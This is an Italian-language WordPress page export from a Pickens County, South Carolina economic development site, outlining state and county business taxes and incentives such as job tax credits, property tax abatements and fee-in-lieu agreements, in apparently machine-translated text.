{"id":8469,"date":"2020-10-28T16:08:09","date_gmt":"2020-10-28T16:08:09","guid":{"rendered":"http:\/\/alliancepickens.com\/clima-aziendale\/imposte-incentivi\/"},"modified":"2020-12-09T20:37:35","modified_gmt":"2020-12-09T20:37:35","slug":"imposte-incentivi","status":"publish","type":"page","link":"https:\/\/alliancepickens.com\/it\/clima-aziendale\/imposte-incentivi\/","title":{"rendered":"Imposte &amp; Incentivi"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row el_class=&#8221;intro&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h2>Imposte sulle imprese<\/h2>\n<p>[\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5709 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #03795b\">Imposta sul reddito delle societ\u00e0<\/span><\/strong><\/h4>\n<p>Una delle aliquote pi\u00f9 basse dell&#8217;imposta sul reddito delle societ\u00e0 nella nazione si trova in South Carolina. L&#8217;imposta sul reddito delle societ\u00e0 si basa principalmente sul reddito lordo e imponibile federale esclusivamente dall&#8217;attivit\u00e0 commerciale condotta in South Carolina. Le societ\u00e0 impegnate in attivit\u00e0 multi-statali non pagano le tasse per i redditi derivanti da qualsiasi attivit\u00e0 commerciale al di fuori della Carolina del Sud.<\/p>\n<p>Il reddito annuo delle imprese si basa su quanto segue:<\/p>\n<ul>\n<li>Reddito assegnato alle operazioni della Carolina del Sud (interessi, dividendi, royalties, affitti, guadagni e perdite di vendita di immobili e reddito da servizi personali); E<\/li>\n<li>Reddito staorsionato alla Carolina del Sud. La Carolina del Sud offre una formula di assegnazione delle vendite a fattore singolo.<\/li>\n<\/ul>\n<p>Il reddito societario statale della societ\u00e0 viene calcolato applicando un&#8217;aliquota d&#8217;imposta sul reddito delle societ\u00e0 del 5% al reddito aziendale annuale.[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_wp_custommenu title=&#8221;In questa sezione&#8221; nav_menu=&#8221;18&#8243; el_class=&#8221;inthissection&#8221;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5716 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-salestax.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-salestax.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-salestax-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #8a8a8a\">Imposte sulle vendite e l&#8217;uso<\/span><\/strong><\/h4>\n<p>L&#8217;aliquota d&#8217;imposta sulle vendite e sull&#8217;uso \u00e8 del 6% in South Carolina. Le contee, con l&#8217;approvazione della maggioranza degli elettori della contea, possono valutare un&#8217;imposta sulle vendite di opzioni locali aggiuntiva da uno a due per cento. Esistono una serie di esenzioni iva per le aziende. La contea di Pickens ha un&#8217;imposta sulle vendite dell&#8217;1% locale.<strong>  Il ricavo IVA dell&#8217;opzione locale dell&#8217;anno precedente viene utilizzato nel calcolo per determinare il credito IVA dell&#8217;opzione locale per l&#8217;anno corrente. Questo credito viene applicato per ridurre le tasse di propriet\u00e0 nella contea di Pickens.<\/strong>[\/vc_column_text][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5730 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-propertytax-1.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-propertytax-1.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-propertytax-1-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #1d2c68\">Imposta sulla propriet\u00e0<\/span><\/strong><\/h4>\n<p>Solo i governi locali possono imporre tasse di propriet\u00e0 in South Carolina. La passivit\u00e0 fiscale di propriet\u00e0 di una societ\u00e0 \u00e8 una funzione di: <strong>Valore propriet\u00e0 x Rapporto di valutazione x Millage.<\/strong><\/p>\n<p>Il Dipartimento delle Entrate determina il giusto valore di mercato della propriet\u00e0 reale (terreno e edificio) di un&#8217;impresa e di beni personali (macchinari e attrezzature) per garantire un trattamento locale equo. Il valore di mercato equo viene quindi valutato a tassi stabiliti nella costituzione dello Stato. Per i produttori, i beni reali e personali sono entrambi valutati al 10%. Il rapporto di valutazione per tutte le altre attivit\u00e0 \u00e8 del 6% per gli immobili e del 10% per i beni personali. (Per i proprietari di abitazione, le residenze primarie sono valutate al 4%.)<\/p>\n<p>L&#8217;aliquota di fresatura locale viene applicata al valore valutato per determinare le imposte sulla propriet\u00e0. Le tariffe di Millage in South Carolina sono specifiche del sito e fissate annualmente dal governo locale. Un mulino \u00e8 uguale a 0,001 USD.<\/p>\n<p><strong>Esempio di imposta:<\/strong> (presuppone il produttore e il cespite non ammortizzabile)<\/p>\n<p>10 milioni di dollari di investimento x 10% di tasso di valutazione x .2287 tasso di fresatura &#8211; 228.700 dollari di imposta annuale (prima della riduzione)<\/p>\n<p>A sostegno delle imprese, la Carolina del Sud esenta tre classi di propriet\u00e0 dalla tassazione locale della propriet\u00e0: tutte le rimanenze (materie prime, lavori in corso e prodotti finiti); tutte le propriet\u00e0 immateriali; e tutte le apparecchiature di controllo dell&#8217;inquinamento.[\/vc_column_text][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5737 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-licensedtax.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-licensedtax.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-licensedtax-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #5dc9ae\">Imposta sulle con licenza societaria<\/span><\/strong><\/h4>\n<p>Tutte le societ\u00e0 devono pagare un&#8217;imposta annuale al Dipartimento delle Entrate. Il tasso \u00e8 di un mulino per dollaro (0,001 dollari) di una quota del totale pagato in capitale e pagato in eccedenza, pi\u00f9 15 dollari. L&#8217;eccedenza guadagnata (utili non distribuiti) non \u00e8 inclusa nella base per il calcolo di questa imposta. Per le societ\u00e0 che fanno affari al di fuori dello stato, l&#8217;imposta sulla licenza \u00e8 determinata dalla stanziamento, allo stesso modo in cui viene calcolata l&#8217;imposta sul reddito delle societ\u00e0 della Carolina del Sud. L&#8217;imposta minima sulla licenza aziendale \u00e8 di 25 dollari.<\/p>\n<p>&nbsp;<\/p>\n<p>Si prega di <a href=\"http:\/\/dor.sc.gov\/communications\/tax-guides\">visitare il SC Department of Revenue&#8217;s Tax Guides<\/a> per una spiegazione dettagliata delle imposte sulle imprese della Carolina del Sud.[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;5699&#8243; el_class=&#8221;parallaxbreak&#8221;][vc_column][vc_empty_space height=&#8221;450px&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5637&#8243; img_size=&#8221;full&#8221;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>ReadySC<\/h3>\n<p>Come parte integrante del sistema SC Technical College, il Center for Accelerated Technology Training e il suo programma readySC<sup>TM<\/sup> lavorano insieme ai sedici istituti tecnici per preparare la forza lavoro della Carolina del Sud a soddisfare le esigenze della tua azienda. Il Tri County Technical College serve la comunit\u00e0 della contea di Pickens. Fondato nel 1961, readySC<sup>TM \u00e8<\/sup> uno dei programmi di formazione della forza lavoro pi\u00f9 antichi e pi\u00f9 esperti negli Stati Uniti. Sono pronti a portare questa esperienza e competenza a lavorare per la vostra azienda. Per saperne di pi\u00f9, <a href=\"http:\/\/www.readysc.org\/\"><br \/>\n  <strong>visita www.readysc.org<\/strong><br \/>\n<\/a>.[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Apprendistato Carolina<\/h3>\n<p>Un apprendistato registrato \u00e8 una posizione sponsorizzata dal datore di lavoro per gli studenti di imparare e guadagnare contemporaneamente esperienza pratica. Si compone di due componenti complementari: una formazione supervisionata sul posto di lavoro fornita da un datore di lavoro sul posto di lavoro e le relative istruzioni tecniche. I datori di lavoro con programmi di apprendistato registrati possono ricevere un credito d&#8217;imposta di 1.000 euro per ogni apprendista registrato impiegato per almeno 7 mesi durante ogni anno del suo programma di apprendistato, per un massimo di quattro anni. Per saperne di pi\u00f9, visita <a href=\"http:\/\/www.apprenticeshipcarolina.com\/\"><br \/>\n  <strong>Apprenticeship Carolina<\/strong><br \/>\n<\/a>.[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5749&#8243; img_size=&#8221;full&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5756&#8243; img_size=&#8221;full&#8221;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Crediti di riqualificazione della zona aziendale<\/h3>\n<p>I crediti di riqualificazione sono uno sconto in contanti di 1.000 dollari all&#8217;anno per dipendente per un massimo di 5 anni di riqualificazione per i dipendenti di produzione esistenti. I datori di lavoro devono abbinare ogni s 1 sconto con spese di formazione di 1,50 dollari.[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Workforce Innovation and Opportunity Act (WIOA) &amp; SC Works Business Solutions<\/h3>\n<p>Sono disponibili potenziali finanziamenti per la formazione sul posto di lavoro, i programmi di formazione dei lavoratori in carica, la formazione personalizzata per i nuovi dipendenti fino al 50% dei costi di formazione per i nuovi dipendenti e i rimborsi per la formazione dei referral WIOA. L&#8217;assistenza WIOA integra il supporto fornito da ReadySC.[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5763&#8243; img_size=&#8221;full&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5770&#8243; img_size=&#8221;full&#8221;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Credito d&#8217;imposta per l&#8217;occupazione \u2013 Statutario<\/h3>\n<p>La Carolina del Sud premia le aziende per la creazione di posti di lavoro riducendo la responsabilit\u00e0 fiscale sul reddito delle societ\u00e0. Il credito d&#8217;imposta sul lavoro \u00e8 un incentivo finanziario che premia le nuove imprese in espansione per la creazione di posti di lavoro in South Carolina. Le imprese devono creare e mantenere un certo numero di nuovi posti di lavoro netti in un anno imponibile.<\/p>\n<p>Il numero di nuovi posti di lavoro \u00e8 l&#8217;aumento <u>dell&#8217;occupazione media mensile<\/u> da un anno all&#8217;altro.[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;5776&#8243; el_class=&#8221;parallaxbreak&#8221;][vc_column][vc_empty_space height=&#8221;450px&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;taxes&#8221;][vc_column][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<h2>Requisiti e valori correlati:<\/h2>\n<p>Deve presentare il modulo TC-4 o TC-4SB con dichiarazione dei redditi aziendale al Dipartimento sc delle entrate. Per <a href=\"http:\/\/www.sctax.org\/\">ulteriori www.sctax.org,<\/a> vedere .<\/p>\n<ol>\n<li>La produzione, la trasformazione, l&#8217;imballaggio agricolo, il magazzino e la distribuzione, la ricerca e lo sviluppo, le operazioni agroalimentari e le strutture ad alta intensit\u00e0 tecnologica qualificate devono creare una media mensile di 10 nuovi posti di lavoro netti.<\/li>\n<\/ol>\n<p>Nota: Strutture intensive tecnologiche definite dai codici NAICS:<\/p>\n<\/div>\n<p>[\/vc_column_text][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"sidebox\">\n<div class=\"styles-section-title styles-selector\">\n<p><strong>Requisiti di idoneit\u00e0  <\/strong><\/p>\n<p>Per poter richiedere il credito per lo sviluppo del lavoro, una societ\u00e0 deve:<\/p>\n<ul>\n<li>Soddisfare i requisiti di un impianto manifatturiero, agricolo, di trasformazione, di ufficio aziendale, di magazzino e di distribuzione, di ricerca e sviluppo, di agroalimentare, turistico o di servizi qualificati;<\/li>\n<li>Creare almeno 10 nuovi posti di lavoro a tempo pieno (o soddisfare requisiti aggiuntivi se si qualifica come impianto di assistenza);<\/li>\n<li>Fornire ai dipendenti a tempo pieno un pacchetto di prestazioni che include un piano sanitario completo e paga almeno il 50% del costo dei premi del piano sanitario di un dipendente idoneo; E<\/li>\n<li>Pagare una tassa di richiesta non rimborsabile di 4.000 dollari, ricevere una certificazione positiva di costi\/benefici (il progetto \u00e8 di maggior beneficio rispetto al costo per lo stato) dal Consiglio di coordinamento e pagare una tassa di rinnovo annuale di 500 dollari.<\/li>\n<\/ul>\n<p>Si prega di notare che il Consiglio di coordinamento generalmente consentir\u00e0 alle aziende di riscuotere crediti solo per 10 anni, e solo su nuovi posti di lavoro a tempo pieno con salari superiori o superiori all&#8217;attuale salario medio della contea per la contea in cui si trova il progetto.<\/p>\n<\/div>\n<\/div>\n<div class=\"styles-section-title styles-selector\">\n<h3>Credito per lo sviluppo del lavoro \u2013 Negoziato<\/h3>\n<p>Il programma Enterprise della Carolina del Sud \u00e8 sostanzialmente diverso dagli altri incentivi fiscali dello stato perch\u00e9 non riduce una particolare responsabilit\u00e0 fiscale; invece, fornisce alle aziende fondi per compensare il costo di localizzazione o di espansione di una struttura commerciale in questo stato. Rappresentando i contributi in denaro effettivi al progetto, questo incentivo consente alla Carolina del Sud di ridurre il costo effettivo dell&#8217;investimento e contribuire positivamente ai profitti e alla redditivit\u00e0 di un&#8217;azienda.<\/p>\n<p>Il Job Development Credit utilizza efficacemente le ritenute d&#8217;acconto personali dei nuovi dipendenti per rimborsare le societ\u00e0 qualificate e approvate che aggiungono valore alla Carolina del Sud e alla comunit\u00e0 in cui si trova. Questi rimborsi sono per le spese in conto capitale ammissibili (terra, costruzione, sviluppo del sito, attrezzature per il controllo dell&#8217;inquinamento o infrastrutture) associate a progetti che creano nuovi posti di lavoro a tempo pieno che forniscono anche benefici sanitari per i cittadini della Carolina del Sud.<\/p>\n<p>Il Consiglio di Coordinamento gestisce il Programma Enterprise. I fondi per i crediti per lo sviluppo del lavoro provengono dalla ritenuta fiscale personale statale che viene pagata dai dipendenti di una societ\u00e0. I dipendenti ricevono un credito pari alla ritenuta d&#8217;acconto utilizzata dalla societ\u00e0; pertanto, non vi \u00e8 alcun impatto finanziario sui dipendenti. Nessuna societ\u00e0 sar\u00e0 autorizzata a richiedere un credito su qualsiasi dipendente il cui lavoro \u00e8 stato creato in questo stato prima dell&#8217;anno imponibile in cui una societ\u00e0 \u00e8 stata approvata per il programma. Inoltre, il Consiglio di coordinamento generalmente limita la raccolta annuale a non pi\u00f9 di 3.250 dollari per dipendente all&#8217;anno.<\/p>\n<p>Per verificare le spese in conto capitale e i lavori di qualificazione, un&#8217;azienda \u00e8 tenuta a rendere disponibili i propri libri salariali e i registri per l&#8217;ispezione da parte del Consiglio di coordinamento e del Dipartimento delle Entrate. Inoltre, una societ\u00e0 deve fornire un rapporto preparato dalla societ\u00e0 che specifica le fonti e gli usi dei fondi, e tale relazione deve essere depositata entro il 30 giugno dopo l&#8217;anno di calendario in cui vengono ricevuti i rimborsi.<\/p>\n<ol>\n<li>Gli uffici aziendali che ospitano la maggior parte delle funzioni della sede centrale devono creare una media mensile di 10 nuovi posti di lavoro netti.<\/li>\n<li>Le strutture qualificate relative ai servizi devono soddisfare i seguenti criteri per poter essere idonee: se la struttura \u00e8 impegnata in un&#8217;attivit\u00e0 elencata nell&#8217;ambito del Manuale 62 del sistema di classificazione industriale nordamericana, dei sottosettori 621, 622 e 623 o della sezione 4881, sottosezione 488190, la struttura deve creare una media mensile di 10 nuovi posti di lavoro netti.<\/li>\n<\/ol>\n<\/div>\n<p>[\/vc_column_text][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<div class=\"example2\">\n<p><strong>Esempio:<\/strong><\/p>\n<p>100 Dipendenti Produttore per creare 30 posti di lavoro<\/p>\n<p>30 posti di lavoro x 1500 USD per un valore annuo di 45.000 USD<\/p>\n<p>Valore di 5 anni : 225.000 USD<\/p>\n<\/div>\n<p>La contea di Pickens \u00e8 una contea di livello II, determinata dal Department of Revenue. In base a questa classificazione, una struttura deve creare in un unico anno imponibile una media mensile di:<\/p>\n<ul>\n<li>175 nuovi posti di lavoro;<\/li>\n<li>150 nuovi posti di lavoro in un edificio che \u00e8 stato vacante per almeno 12 mesi;<\/li>\n<li>100 nuovi posti di lavoro con uno stipendio medio 1,5 volte pi\u00f9 basso dello Stato o del reddito pro capite della contea;<\/li>\n<li>50 nuovi posti di lavoro con uno stipendio medio 2 volte pi\u00f9 basso dello Stato o del reddito pro capite della contea; O<\/li>\n<li>25 nuovi posti di lavoro con uno stipendio medio 2,5 volte pi\u00f9 basso dello stato o del reddito pro capite della contea. Il valore del credito dipende dal livello di sviluppo della contea (La contea di Pickens \u00e8 di livello II a 2.750 dollari)<\/li>\n<\/ul>\n<ol>\n<li>  &#8220;Small Business&#8221; \u2013 Se l&#8217;azienda \u00e8 una produzione, trasformazione, imballaggio agricolo, magazzino e distribuzione, ricerca e sviluppo, agroalimentare o stabilimento qualificato ad alta intensit\u00e0 tecnologica o un ufficio aziendale che ha meno di 99 dipendenti in tutto il mondo, l&#8217;azienda potrebbe beneficiare del credito d&#8217;imposta per il lavoro di piccole imprese creando una media mensile di due nuovi posti di lavoro netti, invece di 10. In base al credito d&#8217;imposta per i lavori di piccole imprese, la societ\u00e0 pu\u00f2 ottenere solo l&#8217;intero importo del credito per i nuovi posti di lavoro netti che pagano il 120% dell&#8217;aliquota oraria media della contea. Per i lavori che pagano meno del 120% della tariffa oraria media della contea, i crediti da 750 a 12.500 dollari per lavoro (o da 1.750 a 13.000 dollari in un parco industriale multi-contea) possono essere disponibili per le aziende qualificate.<\/li>\n<\/ol>\n<\/div>\n<p>[\/vc_column_text][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<h3>Crediti della sede centrale \u2013 Statutario<\/h3>\n<p>Nel tentativo di compensare i costi associati al trasferimento o all&#8217;espansione di una struttura della sede centrale aziendale, la Carolina del Sud fornisce un generoso credito d&#8217;imposta del 20% in base al valore della parte effettiva della struttura dedicata all&#8217;operazione della sede centrale o ai costi di locazione diretta per i primi cinque anni di attivit\u00e0. Il credito pu\u00f2 essere applicato a fronte dell&#8217;imposta sul reddito delle societ\u00e0 o della tassa di licenza. Questi crediti non sono limitati nella loro capacit\u00e0 di eliminare le imposte sul reddito delle societ\u00e0 e possono potenzialmente eliminare le imposte sul reddito delle societ\u00e0 per un periodo di 10 anni dall&#8217;anno guadagnato. L&#8217;ammissibilit\u00e0 a questo credito \u00e8 determinata dal soddisfare ciascuno dei seguenti criteri:<\/p>\n<ol>\n<li>L&#8217;azienda deve creare un minimo di 40 nuovi posti di lavoro a tempo pieno che sono impegnati nella sede centrale aziendale o nella ricerca e sviluppo. Almeno 20 di questi posti di lavoro devono essere classificati come dipendenti del personale. (I dipendenti della sede centrale sono lavoratori esecutivi, amministrativi o professionali che svolgono funzioni e servizi relativi alla sede centrale. Un dirigente \u00e8 un dipendente che trascorre l&#8217;80% del suo tempo in compiti aziendali.)<\/li>\n<li>La struttura deve essere il luogo in cui la maggior parte delle funzioni finanziarie, legali, di personale, di pianificazione e\/o di altro tipo dell&#8217;azienda sono gestite su base regionale o nazionale.<\/li>\n<li>La struttura deve essere l&#8217;unica sede centrale all&#8217;interno della regione o della nazione con altre strutture che segnalano ad essa. Una regione \u00e8 definita come un&#8217;area geografica costituita da cinque stati (compresa la Carolina del Sud) o da due o pi\u00f9 stati (compresa la Carolina del Sud) se l&#8217;intera attivit\u00e0 della societ\u00e0 viene eseguita in meno di cinque stati<\/li>\n<\/ol>\n<\/div>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;5565&#8243; el_class=&#8221;parallaxbreak&#8221;][vc_column][vc_empty_space height=&#8221;450px&#8221;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<h2>INCENTIVI DELLA CONTEA<\/h2>\n<h3>Riduzione dell&#8217;esenzione\/rapporto di valutazione dell&#8217;imposta sulla propriet\u00e0 manifatturiera \u2013<\/h3>\n<p>Una nuova esenzione dall&#8217;imposta sulla propriet\u00e0 manifatturiera \u00e8 in graduale graduale dal 2018 al 2024. Ridurr\u00e0 il tasso di valutazione dell&#8217;inadempiempie del 10,5% al 9%, o una riduzione dello 0,25% ogni anno fino all&#8217;entrata in vigore dell&#8217;esenzione completa nell&#8217;anno dell&#8217;imposta di propriet\u00e0 2023. L&#8217;attuale rapporto di valutazione \u00e8 del 10% nel 2020. L&#8217;esenzione \u00e8 una riduzione della responsabilit\u00e0 fiscale di propriet\u00e0 di un produttore per tutti i beni (reali e personali) che non \u00e8 soggetta a una tassa negoziata di imposta (un FILOT). Il deposito del PT-300A da parte del fabbricante \u00e8 la domanda di tale esenzione.<\/p>\n<p>Una societ\u00e0 qualificata pu\u00f2 anche usufruire di uno dei due potenziali programmi di incentivazione della contea. A seconda dell&#8217;investimento totale, una societ\u00e0 pu\u00f2 beneficiare di una riduzione di cinque anni di una parte dell&#8217;imposta sugli immobili o, d&#8217;accordo con la Contea, di un accordo negoziato a pagamento (FILOT). Altre opzioni uniche possono essere considerate come un metodo per ridurre ulteriormente la responsabilit\u00e0 e dipendono da nuovi investimenti di capitale e dalla creazione di nuovi posti di lavoro.<\/p>\n<h3>Imposta sulla propriet\u00e0: Valore x Rapporto di valutazione x Millage<\/h3>\n<p><span style=\"color: #03795b\"> <strong>Esempio di imposta:<\/strong> <\/span> (presuppone il produttore e il cespite non ammortizzabile)<br \/>\n1 milione di dollari di investimento x 10% di tasso di valutazione x .2287 tasso medio di fresatura &#8211; 22.870 dollari di imposta annuale (prima dell&#8217;abbattimento)<\/p>\n<p><span style=\"color: #03795b\"><strong>Esempio di risparmio di abbattimento:  <\/strong><\/span><br \/>\n1 milione di euro di investimento x 10% di tasso di valutazione x 0,0561 riduzione della fresa : 5.610 USD di risparmio annuo di riduzione di 28.050 euro in 5 anni<\/p>\n<p>Le tasse stimate dopo l&#8217;abbattimento nell&#8217;anno 1 sarebbero di 17.230 dollari.<\/p>\n<p><em><span style=\"color: #03795b\"><strong> Nota: South Carolina fornisce anche le seguenti <strong>esenzioni fiscali<\/strong> di propriet\u00e0 &#8211; Tutti gli inventari (materie prime, work-in-progress e prodotti finiti), tutte le propriet\u00e0 immateriali, e tutte le attrezzature di controllo dell&#8217;inquinamento.<\/strong><\/p>\n<p><\/span><\/em><\/p>\n<p>Lo Stato della Carolina del Sud consente a Pickens County la possibilit\u00e0 di estendere questa riduzione dell&#8217;imposta di propriet\u00e0 di 5 anni a un acquirente non correlato di propriet\u00e0 immobiliare che ha precedentemente ricevuto il beneficio dell&#8217;abbattimento. Possono essere applicate alcune condizioni per nuovi posti di lavoro e investimenti.<\/p>\n<h3>Esenzione parziale dell&#8217;imposta sulla propriet\u00e0 : statutaria<\/h3>\n<p>Un&#8217;esenzione parziale dall&#8217;imposta sulla propriet\u00e0, chiamata riduzione, pu\u00f2 essere resa disponibile ai produttori (investendo 50.000 dollari o pi\u00f9) e le strutture di distribuzione o della sede centrale aziendale (investendo 50.000 dollari o pi\u00f9 e creando 75 nuovi posti di lavoro nell&#8217;anno 1) hanno diritto a una riduzione quinquennale dell&#8217;imposta sugli immobili dalle tasse operative della contea. Questo abbattimento rappresenta di solito un offset fino al 20% al 50% del fresa totale, a seconda della contea. L&#8217;abbattimento non include la parte scolastica del fresaggio locale. L&#8217;abbattimento fiscale sugli investimenti \u00e8 in vigore solo per cinque anni. Nel sei anno, l&#8217;abbattimento termina, e la propriet\u00e0 \u00e8 tassata al tasso di fresatura in vigore in quel momento. L&#8217;abbattimento quinquennale dell&#8217;imposta sulla propriet\u00e0 non \u00e8 disponibile per gli immobili posti in base a un accordo Fee-in-Lieu<\/p>\n<h3>Tassa di soggiorno della tassa di propriet\u00e0 \u2013 Negoziata<\/h3>\n<p>Una societ\u00e0 pu\u00f2 anche negoziare con La contea di Pickens per un accordo Fee-in-Lieu of Property Taxes (FILOT) con revisione finale e consenso determinato dal Consiglio della contea di Pickens.<\/p>\n<\/div>\n<p>[\/vc_column_text][vc_row_inner el_class=&#8221;taxes&#8221;][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<strong> <span style=\"color: #03795b\">Scopo:<\/span> <\/p>\n<p><\/strong> Ricompensare gli investimenti sostanziali riducendo l&#8217;onere fiscale a lungo termine, isolando contemporaneamente la societ\u00e0 qualificata da eventuali aumenti annuali dell&#8217;imposta sugli immobili per incrementi di 5 anni o per l&#8217;intera durata dell&#8217;accordo.[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<strong> <span style=\"color: #03795b\">Valore:<\/span> <\/p>\n<p><\/strong> Circa il 42% di riduzione delle imposte all&#8217;anno da 20 a 30 anni sui nuovi investimenti di capitale si verificano in una finestra di investimento quinquennale.[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_row_inner el_class=&#8221;taxes&#8221;][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<span style=\"color: #03795b\"><strong>Requisiti:<\/strong><\/span><\/p>\n<ul>\n<li>L&#8217;azienda deve essere un produttore, un magazzino\/distributore o un ufficio\/sede<\/li>\n<li>Impegnarsi ad investire almeno 2,5 milioni di euro di capitale in 5 anni<\/li>\n<li>Il progetto deve essere competitivo con altre sedi<\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<span style=\"color: #03795b\"><strong>Meccanica:<\/strong><\/span><\/p>\n<ul>\n<li>I pagamenti alle autorit\u00e0 locali possono essere significativamente ridotti attraverso la negoziazione di un tasso di valutazione pi\u00f9 basso (dal 10% al 6%).<\/li>\n<li>Pu\u00f2 bloccare il tasso di fresatura per un valore compreso tra 20 e 30 anni. Il tasso storico di fresatura \u00e8 stato costante negli ultimi 10 anni.<\/li>\n<li>Un avvocato obbligazionario\/incentivante deve preparare documenti legali per la revisione e l&#8217;approvazione da parte della contea di Pickens.<\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row el_class=&#8221;learnmoreabout&#8221;][vc_column][vc_column_text]<\/p>\n<h4 style=\"text-align: center\">Ulteriori informazioni sul clima aziendale<\/h4>\n<p>[\/vc_column_text][vc_wp_custommenu nav_menu=&#8221;18&#8243;][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;3871&#8243; el_class=&#8221;getstarted&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h1>Pronto per iniziare?<\/h1>\n<h3>Non vediamo l&#8217;ora di parlare con voi!<\/h3>\n<p>[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_column_text]<a class=\"greenbtn\" href=\"http:\/\/alliancepickens.com\/it\/chi-siamo\/#contact_directions\">Contatta 